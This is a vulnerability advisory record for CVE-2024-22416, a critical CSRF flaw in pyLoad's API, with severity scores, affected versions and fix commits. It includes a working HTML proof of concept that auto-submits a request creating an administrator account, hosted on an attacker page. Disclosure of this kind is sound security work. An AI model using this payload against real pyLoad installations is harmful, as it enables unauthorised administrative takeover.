{"id":"CVE-2024-22416","aliases":["GHSA-pgpj-v85q-h5fm","PYSEC-2024-17"],"url":"https://o3.security/vulnerability/CVE-2024-22416","summary":"Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation","details":"### Summary\nThe `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.\n\n### PoC\nWe host the following HTML file on an attacker-controlled server.\n```html\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n    <form action=\"http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22\">\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n\nIf we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.\n![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png)\n\nThe attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.\n![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png)\n\n### Impact\nAny API call can be made via a CSRF attack by an unauthenticated user.\n","published":"2024-01-17T23:48:31.422Z","modified":"2026-08-12T03:51:28.353396841Z","cvss":{"score":9.6,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"PyPI","name":"pyload-ng","fixedVersion":"0.5.0b3.dev78"}],"fix":{"url":"https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e","label":"pyload/pyload@1374c82"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/22xxx/CVE-2024-22416.json"},{"type":"ADVISORY","url":"https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22416"},{"type":"FIX","url":"https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e"},{"type":"FIX","url":"https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.353396841Z"}}